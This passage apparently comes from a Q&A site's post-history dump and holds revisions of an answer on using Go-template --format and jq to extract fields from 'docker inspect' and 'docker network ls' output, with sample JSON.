[&quot;/proc/asound&quot;,&quot;/proc/bus&quot;,&quot;/proc/fs&quot;,&quot;/proc/irq&quot;,&quot;/proc/sys&quot;,&quot;/proc/sysrq-trigger&quot;]&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker inspect $CID --format '{{join .HostConfig.ReadonlyPaths &quot;:&quot;}}'&#xD;&#xA;    /proc/asound:/proc/bus:/proc/fs:/proc/irq:/proc/sys:/proc/sysrq-trigger&#xD;&#xA;&#xD;&#xA;    # jq notation&#xD;&#xA;    sh$ sudo docker inspect $CID | jq '.[].HostConfig.ReadonlyPaths'&#xD;&#xA;    [&#xD;&#xA;      &quot;/proc/asound&quot;,&#xD;&#xA;      &quot;/proc/bus&quot;,&#xD;&#xA;      &quot;/proc/fs&quot;,&#xD;&#xA;      &quot;/proc/irq&quot;,&#xD;&#xA;      &quot;/proc/sys&quot;,&#xD;&#xA;      &quot;/proc/sysrq-trigger&quot;&#xD;&#xA;    ]&#xD;&#xA;    sh$ sudo docker inspect $CID | jq '.[].HostConfig.ReadonlyPaths | join(&quot;:&quot;)'&#xD;&#xA;    &quot;/proc/asound:/proc/bus:/proc/fs:/proc/irq:/proc/sys:/proc/sysrq-trigger&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;## Arrays of objects&#xD;&#xA;&#xD;&#xA;More complicated (according to my limited Go Template skills) is accessing fields nested in an array of objects:&#xD;&#xA;&#xD;&#xA;    # This works as expected&#xD;&#xA;    sh$ sudo docker network inspect bridge --format '{{json .IPAM.Config}}'&#xD;&#xA;    [{&quot;Subnet&quot;:&quot;172.17.0.0/16&quot;,&quot;Gateway&quot;:&quot;172.17.0.1&quot;}]&#xD;&#xA;&#xD;&#xA;    # But not that&#xD;&#xA;    sudo docker network inspect bridge --format '{{.IPAM.Config.Gateway}}'&#xD;&#xA;    &#xD;&#xA;    Template parsing error: template: :1:7: executing &quot;&quot; at &lt;.IPAM.Config.Gateway&gt;: can't evaluate field Gateway in type interface {}&#xD;&#xA;&#xD;&#xA;When I want to extract such nested value, I resort on an explicit range loop:&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker network inspect bridge --format '{{range .IPAM.Config}}{{.Gateway}}{{end}}'&#xD;&#xA;    172.17.0.1&#xD;&#xA;&#xD;&#xA;    # jq notation&#xD;&#xA;    sh$ sudo docker network inspect bridge | jq '.[].IPAM.Config[].Gateway'&#xD;&#xA;    &quot;172.17.0.1&quot;&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker network inspect bridge | jq -r '.[].IPAM.Config[].Gateway'&#xD;&#xA;    172.17.0.1&#xD;&#xA;&#xD;&#xA;# Formatting `ls` commands&#xD;&#xA;&#xD;&#xA;With the `json` formatter, we can obtain (some? all?) the possible selectors you can later use with `--format`:&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker network ls --format '{{json .}}'&#xD;&#xA;    {&quot;CreatedAt&quot;:&quot;2019-01-07 14:28:55.63238018 +0100 CET&quot;,&quot;Driver&quot;:&quot;bridge&quot;,&quot;ID&quot;:&quot;5ec8728b05ef&quot;,&quot;IPv6&quot;:&quot;false&quot;,&quot;Internal&quot;:&quot;false&quot;,&quot;Labels&quot;:&quot;&quot;,&quot;Name&quot;:&quot;bridge&quot;,&quot;Scope&quot;:&quot;local&quot;}&#xD;&#xA;    {&quot;CreatedAt&quot;:&quot;2019-02-05 15:36:57.701603791 +0100 CET&quot;,&quot;Driver&quot;:&quot;bridge&quot;,&quot;ID&quot;:&quot;45d6f09ca923&quot;,&quot;IPv6&quot;:&quot;false&quot;,&quot;Internal&quot;:&quot;false&quot;,&quot;Labels&quot;:&quot;com.docker.compose.network=default,com.docker.compose.project=compose-demo,com.docker.compose.version=1.23.2&quot;,&quot;Name&quot;:&quot;compose-demo_default&quot;,&quot;Scope&quot;:&quot;local&quot;}&#xD;&#xA;    {&quot;CreatedAt&quot;:&quot;2019-02-05 17:30:47.98883918 +0100 CET&quot;,&quot;Driver&quot;:&quot;bridge&quot;,&quot;ID&quot;:&quot;aaff418d1c56&quot;,&quot;IPv6&quot;:&quot;false&quot;,&quot;Internal&quot;:&quot;false&quot;,&quot;Labels&quot;:&quot;com.docker.compose.network=net,com.docker.compose.project=compose-demo,com.docker.compose.version=1.23.2&quot;,&quot;Name&quot;:&quot;compose-demo_net&quot;,&quot;Scope&quot;:&quot;local&quot;}&#xD;&#xA;    {&quot;CreatedAt&quot;:&quot;2018-05-26 10:31:48.149819089 +0200 CEST&quot;,&quot;Driver&quot;:&quot;host&quot;,&quot;ID&quot;:&quot;988954899b53&quot;,&quot;IPv6&quot;:&quot;false&quot;,&quot;Internal&quot;:&quot;false&quot;,&quot;Labels&quot;:&quot;&quot;,&quot;Name&quot;:&quot;host&quot;,&quot;Scope&quot;:&quot;local&quot;}&#xD;&#xA;    {&quot;CreatedAt&quot;:&quot;2018-05-26 10:31:48.118573602 +0200 CEST&quot;,&quot;Driver&quot;:&quot;null&quot;,&quot;ID&quot;:&quot;ce1680ed377f&quot;,&quot;IPv6&quot;:&quot;false&quot;,&quot;Internal&quot;:&quot;false&quot;,&quot;Labels&quot;:&quot;&quot;,&quot;Name&quot;:&quot;none&quot;,&quot;Scope&quot;:&quot;local&quot;}&#xD;&#xA;    {&quot;CreatedAt&quot;:&quot;2019-02-05 19:44:21.286955573 +0100 CET&quot;,&quot;Driver&quot;:&quot;bridge&quot;,&quot;ID&quot;:&quot;41c62c023d16&quot;,&quot;IPv6&quot;:&quot;false&quot;,&quot;Internal&quot;:&quot;false&quot;,&quot;Labels&quot;:&quot;com.docker.compose.version=1.23.2,com.docker.compose.network=default,com.docker.compose.project=test&quot;,&quot;Name&quot;:&quot;test_default&quot;,&quot;Scope&quot;:&quot;local&quot;}&#xD;&#xA;&#xD;&#xA;Here, you can see `docker network ls` exposes, among others, the &quot;Driver&quot; and &quot;ID&quot; fields. You can use them in your format:&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker network ls --format '{{.ID}}: {{.Driver}}'&#xD;&#xA;    5ec8728b05ef: bridge&#xD;&#xA;    45d6f09ca923: bridge&#xD;&#xA;    aaff418d1c56: bridge&#xD;&#xA;    988954899b53: host&#xD;&#xA;    ce1680ed377f: null&#xD;&#xA;    41c62c023d16: bridge&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19959" PostHistoryTypeId="5" PostId="6242" RevisionGUID="194064a9-c8a3-4508-9d7a-3fc6f130dfa9" CreationDate="2019-02-05T19:49:40.390" UserId="11179" Comment="added 72 characters in body" Text="I take the risk of being downvoted here, but I find Go templates a nightmare to use beyond the most basic use cases. Don't take me wrong: they are extremely powerful as you can guess it by [reading the docs](https://golang.org/pkg/text/template/), but I find the syntax unfriendly, and for the most complex cases, I prefer parsing the JSON output with [`jq`](https://stedolan.github.io/jq/). Anyway:&#xD;&#xA;&#xD;&#xA;# Formatting `expect` commands&#xD;&#xA;&#xD;&#xA;    sho$ CID=$(sudo docker run --rm -d busybox sleep 3000)                                                                                         &#xD;&#xA;    sh$ sudo docker inspect $CID&#xD;&#xA;    [&#xD;&#xA;        {&#xD;&#xA;            &quot;Id&quot;: &quot;0470a3549d2f41efd0477cf8fc4eb3a27aca592f089c018ad24704031bbef967&quot;,&#xD;&#xA;            &quot;Created&quot;: &quot;2019-02-05T16:41:40.040349047Z&quot;,&#xD;&#xA;            &quot;Path&quot;: &quot;sleep&quot;,&#xD;&#xA;            &quot;Args&quot;: [&#xD;&#xA;                &quot;3000&quot;&#xD;&#xA;            ],&#xD;&#xA;            &quot;State&quot;: {&#xD;&#xA;                &quot;Status&quot;: &quot;running&quot;,&#xD;&#xA;                &quot;Running&quot;: true,&#xD;&#xA;                &quot;Paused&quot;: false,&#xD;&#xA;                &quot;Restarting&quot;: false,&#xD;&#xA;                &quot;OOMKilled&quot;: false,&#xD;&#xA;                &quot;Dead&quot;: false,&#xD;&#xA;                &quot;Pid&quot;: 26467,&#xD;&#xA;                &quot;ExitCode&quot;: 0,&#xD;&#xA;                &quot;Error&quot;: &quot;&quot;,&#xD;&#xA;                &quot;StartedAt&quot;: &quot;2019-02-05T16:41:40.659056612Z&quot;,&#xD;&#xA;                &quot;FinishedAt&quot;: &quot;0001-01-01T00:00:00Z&quot;&#xD;&#xA;            },&#xD;&#xA;            &quot;Image&quot;: &quot;sha256:3a093384ac306cbac30b67f1585e12b30ab1a899374dabc3170b9bca246f1444&quot;,&#xD;&#xA;            &quot;ResolvConfPath&quot;: &quot;/var/lib/docker/containers/0470a3549d2f41efd0477cf8fc4eb3a27aca592f089c018ad24704031bbef967/resolv.conf&quot;,&#xD;&#xA;            &quot;HostnamePath&quot;: &quot;/var/lib/docker/containers/0470a3549d2f41efd0477cf8fc4eb3a27aca592f089c018ad24704031bbef967/hostname&quot;,&#xD;&#xA;            &quot;HostsPath&quot;: &quot;/var/lib/docker/containers/0470a3549d2f41efd0477cf8fc4eb3a27aca592f089c018ad24704031bbef967/hosts&quot;,&#xD;&#xA;            &quot;LogPath&quot;: &quot;/var/lib/docker/containers/0470a3549d2f41efd0477cf8fc4eb3a27aca592f089c018ad24704031bbef967/0470a3549d2f41efd0477cf8fc4eb3a27aca592f089c018ad24704031bbef967-json.log&quot;,&#xD;&#xA;            &quot;Name&quot;: &quot;/vibrant_shaw&quot;,&#xD;&#xA;            &quot;RestartCount&quot;: 0,&#xD;&#xA;            &quot;Driver&quot;: &quot;aufs&quot;,&#xD;&#xA;            &quot;Platform&quot;: &quot;linux&quot;,&#xD;&#xA;            &quot;MountLabel&quot;: &quot;&quot;,&#xD;&#xA;            &quot;ProcessLabel&quot;: &quot;&quot;,&#xD;&#xA;            &quot;AppArmorProfile&quot;: &quot;docker-default&quot;,&#xD;&#xA;            &quot;ExecIDs&quot;: null,&#xD;&#xA;            &quot;HostConfig&quot;: {&#xD;&#xA;                &quot;Binds&quot;: null,&#xD;&#xA;                &quot;ContainerIDFile&quot;: &quot;&quot;,&#xD;&#xA;               &quot;LogConfig&quot;: {&#xD;&#xA;                    &quot;Type&quot;: &quot;json-file&quot;,&#xD;&#xA;                    &quot;Config&quot;: {}&#xD;&#xA;                },&#xD;&#xA;                &quot;NetworkMode&quot;: &quot;default&quot;,&#xD;&#xA;                &quot;PortBindings&quot;: {},&#xD;&#xA;                &quot;RestartPolicy&quot;: {&#xD;&#xA;                    &quot;Name&quot;: &quot;no&quot;,&#xD;&#xA;                    &quot;MaximumRetryCount&quot;: 0&#xD;&#xA;                },&#xD;&#xA;                &quot;AutoRemove&quot;: true,&#xD;&#xA;                &quot;VolumeDriver&quot;: &quot;&quot;,&#xD;&#xA;                &quot;VolumesFrom&quot;: null,&#xD;&#xA;                &quot;CapAdd&quot;: null,&#xD;&#xA;                &quot;CapDrop&quot;: null,&#xD;&#xA;                &quot;Dns&quot;: [],&#xD;&#xA;                &quot;DnsOptions&quot;: [],&#xD;&#xA;                &quot;DnsSearch&quot;: [],&#xD;&#xA;                &quot;ExtraHosts&quot;: null,&#xD;&#xA;                &quot;GroupAdd&quot;: null,&#xD;&#xA;                &quot;IpcMode&quot;: &quot;shareable&quot;,&#xD;&#xA;                &quot;Cgroup&quot;: &quot;&quot;,&#xD;&#xA;                &quot;Links&quot;: null,&#xD;&#xA;                &quot;OomScoreAdj&quot;: 0,&#xD;&#xA;                &quot;PidMode&quot;: &quot;&quot;,&#xD;&#xA;                &quot;Privileged&quot;: false,&#xD;&#xA;                &quot;PublishAllPorts&quot;: false,&#xD;&#xA;                &quot;ReadonlyRootfs&quot;: false,&#xD;&#xA;                &quot;SecurityOpt&quot;: null,&#xD;&#xA;                &quot;UTSMode&quot;: &quot;&quot;,&#xD;&#xA;                &quot;UsernsMode&quot;: &quot;&quot;,&#xD;&#xA;                &quot;ShmSize&quot;: 67108864,&#xD;&#xA;                &quot;Runtime&quot;: &quot;runc&quot;,&#xD;&#xA;                &quot;ConsoleSize&quot;: [&#xD;&#xA;                    0,&#xD;&#xA;                    0&#xD;&#xA;                ],&#xD;&#xA;                &quot;Isolation&quot;: &quot;&quot;,&#xD;&#xA;                &quot;CpuShares&quot;: 0,&#xD;&#xA;                &quot;Memory&quot;: 0,&#xD;&#xA;                &quot;NanoCpus&quot;: 0,&#xD;&#xA;                &quot;CgroupParent&quot;: &quot;&quot;,&#xD;&#xA;                &quot;BlkioWeight&quot;: 0,&#xD;&#xA;                &quot;BlkioWeightDevice&quot;: [],&#xD;&#xA;                &quot;BlkioDeviceReadBps&quot;: null,&#xD;&#xA;                &quot;BlkioDeviceWriteBps&quot;: null,&#xD;&#xA;                &quot;BlkioDeviceReadIOps&quot;: null,&#xD;&#xA;                &quot;BlkioDeviceWriteIOps&quot;: null,&#xD;&#xA;                &quot;CpuPeriod&quot;: 0,&#xD;&#xA;                &quot;CpuQuota&quot;: 0,&#xD;&#xA;                &quot;CpuRealtimePeriod&quot;: 0,&#xD;&#xA;                &quot;CpuRealtimeRuntime&quot;: 0,&#xD;&#xA;                &quot;CpusetCpus&quot;: &quot;&quot;,&#xD;&#xA;                &quot;CpusetMems&quot;: &quot;&quot;,&#xD;&#xA;                &quot;Devices&quot;: [],&#xD;&#xA;                &quot;DeviceCgroupRules&quot;: null,&#xD;&#xA;                &quot;DiskQuota&quot;: 0,&#xD;&#xA;                &quot;KernelMemory&quot;: 0,&#xD;&#xA;                &quot;MemoryReservation&quot;: 0,&#xD;&#xA;                &quot;MemorySwap&quot;: 0,&#xD;&#xA;                &quot;MemorySwappiness&quot;: null,&#xD;&#xA;                &quot;OomKillDisable&quot;: false,&#xD;&#xA;                &quot;PidsLimit&quot;: 0,&#xD;&#xA;                &quot;Ulimits&quot;: null,&#xD;&#xA;                &quot;CpuCount&quot;: 0,&#xD;&#xA;                &quot;CpuPercent&quot;: 0,&#xD;&#xA;                &quot;IOMaximumIOps&quot;: 0,&#xD;&#xA;                &quot;IOMaximumBandwidth&quot;: 0,&#xD;&#xA;                &quot;MaskedPaths&quot;: [&#xD;&#xA;                    &quot;/proc/acpi&quot;,&#xD;&#xA;                    &quot;/proc/kcore&quot;,&#xD;&#xA;                    &quot;/proc/keys&quot;,&#xD;&#xA;                    &quot;/proc/latency_stats&quot;,&#xD;&#xA;                    &quot;/proc/timer_list&quot;,&#xD;&#xA;                    &quot;/proc/timer_stats&quot;,&#xD;&#xA;                    &quot;/proc/sched_debug&quot;,&#xD;&#xA;                    &quot;/proc/scsi&quot;,&#xD;&#xA;                    &quot;/sys/firmware&quot;&#xD;&#xA;                ],&#xD;&#xA;                &quot;ReadonlyPaths&quot;: [&#xD;&#xA;                    &quot;/proc/asound&quot;,&#xD;&#xA;                    &quot;/proc/bus&quot;,&#xD;&#xA;                    &quot;/proc/fs&quot;,&#xD;&#xA;                    &quot;/proc/irq&quot;,&#xD;&#xA;                    &quot;/proc/sys&quot;,&#xD;&#xA;                    &quot;/proc/sysrq-trigger&quot;&#xD;&#xA;                ]&#xD;&#xA;            },&#xD;&#xA;            &quot;GraphDriver&quot;: {&#xD;&#xA;                &quot;Data&quot;: null,&#xD;&#xA;                &quot;Name&quot;: &quot;aufs&quot;&#xD;&#xA;            },&#xD;&#xA;            &quot;Mounts&quot;: [],&#xD;&#xA;            &quot;Config&quot;: {&#xD;&#xA;                &quot;Hostname&quot;: &quot;0470a3549d2f&quot;,&#xD;&#xA;                &quot;Domainname&quot;: &quot;&quot;,&#xD;&#xA;                &quot;User&quot;: &quot;&quot;,&#xD;&#xA;                &quot;AttachStdin&quot;: false,&#xD;&#xA;                &quot;AttachStdout&quot;: false,&#xD;&#xA;                &quot;AttachStderr&quot;: false,&#xD;&#xA;                &quot;Tty&quot;: false,&#xD;&#xA;                &quot;OpenStdin&quot;: false,&#xD;&#xA;                &quot;StdinOnce&quot;: false,&#xD;&#xA;                &quot;Env&quot;: [&#xD;&#xA;                    &quot;PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin&quot;&#xD;&#xA;                ],&#xD;&#xA;                &quot;Cmd&quot;: [&#xD;&#xA;                    &quot;sleep&quot;,&#xD;&#xA;                    &quot;3000&quot;&#xD;&#xA;                ],&#xD;&#xA;                &quot;Image&quot;: &quot;busybox&quot;,&#xD;&#xA;                &quot;Volumes&quot;: null,&#xD;&#xA;                &quot;WorkingDir&quot;: &quot;&quot;,&#xD;&#xA;                &quot;Entrypoint&quot;: null,&#xD;&#xA;                &quot;OnBuild&quot;: null,&#xD;&#xA;                &quot;Labels&quot;: {}&#xD;&#xA;            },&#xD;&#xA;            &quot;NetworkSettings&quot;: {&#xD;&#xA;                &quot;Bridge&quot;: &quot;&quot;,&#xD;&#xA;                &quot;SandboxID&quot;: &quot;654da638965d9bb26e394ba61036ea713bdccb6304eb09bee86f3c0611a26ca5&quot;,&#xD;&#xA;                &quot;HairpinMode&quot;: false,&#xD;&#xA;                &quot;LinkLocalIPv6Address&quot;: &quot;&quot;,&#xD;&#xA;                &quot;LinkLocalIPv6PrefixLen&quot;: 0,&#xD;&#xA;                &quot;Ports&quot;: {},&#xD;&#xA;                &quot;SandboxKey&quot;: &quot;/var/run/docker/netns/654da638965d&quot;,&#xD;&#xA;                &quot;SecondaryIPAddresses&quot;: null,&#xD;&#xA;                &quot;SecondaryIPv6Addresses&quot;: null,&#xD;&#xA;                &quot;EndpointID&quot;: &quot;c69ef9cb870a3c477105c7bc19e370683886e4e3c62fac8444d3e1e097551250&quot;,&#xD;&#xA;                &quot;Gateway&quot;: &quot;172.17.0.1&quot;,&#xD;&#xA;                &quot;GlobalIPv6Address&quot;: &quot;&quot;,&#xD;&#xA;                &quot;GlobalIPv6PrefixLen&quot;: 0,&#xD;&#xA;                &quot;IPAddress&quot;: &quot;172.17.0.3&quot;,&#xD;&#xA;                &quot;IPPrefixLen&quot;: 16,&#xD;&#xA;                &quot;IPv6Gateway&quot;: &quot;&quot;,&#xD;&#xA;                &quot;MacAddress&quot;: &quot;02:42:ac:11:00:03&quot;,&#xD;&#xA;                &quot;Networks&quot;: {&#xD;&#xA;                    &quot;bridge&quot;: {&#xD;&#xA;                        &quot;IPAMConfig&quot;: null,&#xD;&#xA;                        &quot;Links&quot;: null,&#xD;&#xA;                        &quot;Aliases&quot;: null,&#xD;&#xA;                        &quot;NetworkID&quot;: &quot;5ec8728b05efd5ce6bfde5cbe6e42f247348345e0fdfb305fda76566327fc151&quot;,&#xD;&#xA;                        &quot;EndpointID&quot;: &quot;c69ef9cb870a3c477105c7bc19e370683886e4e3c62fac8444d3e1e097551250&quot;,&#xD;&#xA;                        &quot;Gateway&quot;: &quot;172.17.0.1&quot;,&#xD;&#xA;                        &quot;IPAddress&quot;: &quot;172.17.0.3&quot;,&#xD;&#xA;                        &quot;IPPrefixLen&quot;: 16,&#xD;&#xA;                        &quot;IPv6Gateway&quot;: &quot;&quot;,&#xD;&#xA;                        &quot;GlobalIPv6Address&quot;: &quot;&quot;,&#xD;&#xA;                        &quot;GlobalIPv6PrefixLen&quot;: 0,&#xD;&#xA;                        &quot;MacAddress&quot;: &quot;02:42:ac:11:00:03&quot;,&#xD;&#xA;                        &quot;DriverOpts&quot;: null&#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    ]&#xD;&#xA;&#xD;&#xA;## Returning scalar properties&#xD;&#xA;&#xD;&#xA;You can query any scalar attribute by its name, prefixed by a dot:&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker inspect $CID --format '{{.Id}}&#xD;&#xA;    0470a3549d2f41efd0477cf8fc4eb3a27aca592f089c018ad24704031bbef967&#xD;&#xA;    sh$ sudo docker inspect $CID --format '{{.Name}} {{.Driver}}'&#xD;&#xA;    /vibrant_shaw aufs&#xD;&#xA;&#xD;&#xA;    # jq notation&#xD;&#xA;    sh$ sudo docker inspect $CID | jq '.[].Id'&#xD;&#xA;    &quot;0470a3549d2f41efd0477cf8fc4eb3a27aca592f089c018ad24704031bbef967&quot;&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker inspect $CID | jq '.[]|(.Name,.Driver)'&#xD;&#xA;    &quot;/vibrant_shaw&quot;&#xD;&#xA;    &quot;aufs&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;You can also query nested fields:&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker inspect $CID --format '{{.State.Running}}'&#xD;&#xA;    true&#xD;&#xA;&#xD;&#xA;    # jq notation&#xD;&#xA;    sudo docker inspect $CID | jq '.[].State.Running'&#xD;&#xA;    true&#xD;&#xA;&#xD;&#xA;## Returning entire objects and arrays&#xD;&#xA;&#xD;&#xA;But it does not work as expected for nested structures:&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker inspect $CID --format '{{.State}}'&#xD;&#xA;    {running true false false false false 26467 0  2019-02-05T16:41:40.659056612Z 0001-01-01T00:00:00Z &lt;nil&gt;}&#xD;&#xA;&#xD;&#xA;You end up having the data, but without the field names, it is pretty useless--unless you are assuming some predefined field order (something that is probably not safe).&#xD;&#xA;&#xD;&#xA;When accessing entire objects, there are chances you want an [explicit formatter](https://docs.docker.com/config/formatting/):&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker inspect $CID --format '{{json .State}}'&#xD;&#xA;    {&quot;Status&quot;:&quot;running&quot;,&quot;Running&quot;:true,&quot;Paused&quot;:false,&quot;Restarting&quot;:false,&quot;OOMKilled&quot;:false,&quot;Dead&quot;:false,&quot;Pid&quot;:26467,&quot;ExitCode&quot;:0,&quot;Error&quot;:&quot;&quot;,&quot;StartedAt&quot;:&quot;2019-02-05T16:41:40.659056612Z&quot;,&quot;FinishedAt&quot;:&quot;0001-01-01T00:00:00Z&quot;}&#xD;&#xA;&#xD;&#xA;    # jq notation&#xD;&#xA;    sh$ sudo docker inspect $CID | jq '.[].State'&#xD;&#xA;    {&#xD;&#xA;      &quot;Status&quot;: &quot;running&quot;,&#xD;&#xA;      &quot;Running&quot;: true,&#xD;&#xA;      &quot;Paused&quot;: false,&#xD;&#xA;      &quot;Restarting&quot;: false,&#xD;&#xA;      &quot;OOMKilled&quot;: false,&#xD;&#xA;      &quot;Dead&quot;: false,&#xD;&#xA;      &quot;Pid&quot;: 26467,&#xD;&#xA;      &quot;ExitCode&quot;: 0,&#xD;&#xA;      &quot;Error&quot;: &quot;&quot;,&#xD;&#xA;      &quot;StartedAt&quot;: &quot;2019-02-05T16:41:40.659056612Z&quot;,&#xD;&#xA;      &quot;FinishedAt&quot;: &quot;0001-01-01T00:00:00Z&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Same thing for arrays:&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker inspect $CID --format '{{.HostConfig.ReadonlyPaths}}'&#xD;&#xA;    [/proc/asound /proc/bus /proc/fs /proc/irq /proc/sys /proc/sysrq-trigger]&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker inspect $CID --format '{{json .HostConfig.ReadonlyPaths}}'&#xD;&#xA;    [&quot;/proc/asound&quot;,&quot;/proc/bus&quot;,&quot;/proc/fs&quot;,&quot;/proc/irq&quot;,&quot;/proc/sys&quot;,&quot;/proc/sysrq-trigger&quot;]&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker inspect $CID --format '{{join .HostConfig.ReadonlyPaths &quot;:&quot;}}'&#xD;&#xA;    /proc/asound:/proc/bus:/proc/fs:/proc/irq:/proc/sys:/proc/sysrq-trigger&#xD;&#xA;&#xD;&#xA;    # jq notation&#xD;&#xA;    sh$ sudo docker inspect $CID | jq '.[].HostConfig.ReadonlyPaths'&#xD;&#xA;    [&#xD;&#xA;      &quot;/proc/asound&quot;,&#xD;&#xA;      &quot;/proc/bus&quot;,&#xD;&#xA;      &quot;/proc/fs&quot;,&#xD;&#xA;      &quot;/proc/irq&quot;,&#xD;&#xA;      &quot;/proc/sys&quot;,&#xD;&#xA;      &quot;/proc/sysrq-trigger&quot;&#xD;&#xA;    ]&#xD;&#xA;    sh$ sudo docker inspect $CID | jq '.[].HostConfig.ReadonlyPaths | join(&quot;:&quot;)'&#xD;&#xA;    &quot;/proc/asound:/proc/bus:/proc/fs:/proc/irq:/proc/sys:/proc/sysrq-trigger&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;## Arrays of objects&#xD;&#xA;&#xD;&#xA;More complicated (according to my limited Go Template skills) is accessing fields nested in an array of objects:&#xD;&#xA;&#xD;&#xA;    # This works as expected&#xD;&#xA;    sh$ sudo docker network inspect bridge --format '{{json .IPAM.Config}}'&#xD;&#xA;    [{&quot;Subnet&quot;:&quot;172.17.0.0/16&quot;,&quot;Gateway&quot;:&quot;172.17.0.1&quot;}]&#xD;&#xA;&#xD;&#xA;    # But not that&#xD;&#xA;    sudo docker network inspect bridge --format '{{.IPAM.Config.Gateway}}'&#xD;&#xA;    &#xD;&#xA;    Template parsing error: template: :1:7: executing &quot;&quot; at &lt;.IPAM.Config.Gateway&gt;: can't evaluate field Gateway in type interface {}&#xD;&#xA;&#xD;&#xA;When I want to extract such nested value, I resort on an explicit range loop:&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker network inspect bridge --format '{{range .IPAM.Config}}{{.Gateway}}{{end}}'&#xD;&#xA;    172.17.0.1&#xD;&#xA;&#xD;&#xA;    # jq notation&#xD;&#xA;    sh$ sudo docker network inspect bridge | jq '.[].IPAM.Config[].Gateway'&#xD;&#xA;    &quot;172.17.0.1&quot;&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker network inspect bridge | jq -r '.[].IPAM.Config[].Gateway'&#xD;&#xA;    172.17.0.1&#xD;&#xA;&#xD;&#xA;# Formatting `ls` commands&#xD;&#xA;&#xD;&#xA;With the `json` formatter, we can obtain (some? all?) the possible selectors you can later use with `--format`:&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker network ls --format '{{json .}}'&#xD;&#xA;    {&quot;CreatedAt&quot;:&quot;2019-01-07 14:28:55.63238018 +0100 CET&quot;,&quot;Driver&quot;:&quot;bridge&quot;,&quot;ID&quot;:&quot;5ec8728b05ef&quot;,&quot;IPv6&quot;:&quot;false&quot;,&quot;Internal&quot;:&quot;false&quot;,&quot;Labels&quot;:&quot;&quot;,&quot;Name&quot;:&quot;bridge&quot;,&quot;Scope&quot;:&quot;local&quot;}&#xD;&#xA;    {&quot;CreatedAt&quot;:&quot;2019-02-05 15:36:57.701603791 +0100 CET&quot;,&quot;Driver&quot;:&quot;bridge&quot;,&quot;ID&quot;:&quot;45d6f09ca923&quot;,&quot;IPv6&quot;:&quot;false&quot;,&quot;Internal&quot;:&quot;false&quot;,&quot;Labels&quot;:&quot;com.docker.compose.network=default,com.docker.compose.project=compose-demo,com.docker.compose.version=1.23.2&quot;,&quot;Name&quot;:&quot;compose-demo_default&quot;,&quot;Scope&quot;:&quot;local&quot;}&#xD;&#xA;    {&quot;CreatedAt&quot;:&quot;2019-02-05 17:30:47.98883918 +0100 CET&quot;,&quot;Driver&quot;:&quot;bridge&quot;,&quot;ID&quot;:&quot;aaff418d1c56&quot;,&quot;IPv6&quot;:&quot;false&quot;,&quot;Internal&quot;:&quot;false&quot;,&quot;Labels&quot;:&quot;com.docker.compose.network=net,com.docker.compose.project=compose-demo,com.docker.compose.version=1.23.2&quot;,&quot;Name&quot;:&quot;compose-demo_net&quot;,&quot;Scope&quot;:&quot;local&quot;}&#xD;&#xA;    {&quot;CreatedAt&quot;:&quot;2018-05-26 10:31:48.149819089 +0200 CEST&quot;,&quot;Driver&quot;:&quot;host&quot;,&quot;ID&quot;:&quot;988954899b53&quot;,&quot;IPv6&quot;:&quot;false&quot;,&quot;Internal&quot;:&quot;false&quot;,&quot;Labels&quot;:&quot;&quot;,&quot;Name&quot;:&quot;host&quot;,&quot;Scope&quot;:&quot;local&quot;}&#xD;&#xA;    {&quot;CreatedAt&quot;:&quot;2018-05-26 10:31:48.118573602 +0200 CEST&quot;,&quot;Driver&quot;:&quot;null&quot;,&quot;ID&quot;:&quot;ce1680ed377f&quot;,&quot;IPv6&quot;:&quot;false&quot;,&quot;Internal&quot;:&quot;false&quot;,&quot;Labels&quot;:&quot;&quot;,&quot;Name&quot;:&quot;none&quot;,&quot;Scope&quot;:&quot;local&quot;}&#xD;&#xA;    {&quot;CreatedAt&quot;:&quot;2019-02-05 19:44:21.286955573 +0100 CET&quot;,&quot;Driver&quot;:&quot;bridge&quot;,&quot;ID&quot;:&quot;41c62c023d16&quot;,&quot;IPv6&quot;:&quot;false&quot;,&quot;Internal&quot;:&quot;false&quot;,&quot;Labels&quot;:&quot;com.docker.compose.version=1.23.2,com.docker.compose.network=default,com.docker.compose.project=test&quot;,&quot;Name&quot;:&quot;test_default&quot;,&quot;Scope&quot;:&quot;local&quot;}&#xD;&#xA;&#xD;&#xA;Here, you can see `docker network ls` exposes, among others, the &quot;ID&quot;, &quot;Driver&quot; and &quot;Scope&quot; fields. You can use them in your format:&#xD;&#xA;&#xD;&#xA;    sh$ $ sudo docker network ls --format '{{.ID}}: {{.Driver}} ({{.Scope}})'&#xD;&#xA;    5ec8728b05ef: bridge (local)&#xD;&#xA;    45d6f09ca923: bridge (local)&#xD;&#xA;    aaff418d1c56: bridge (local)&#xD;&#xA;    988954899b53: host (local)&#xD;&#xA;    ce1680ed377f: null (local)&#xD;&#xA;    41c62c023d16: bridge (local)&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
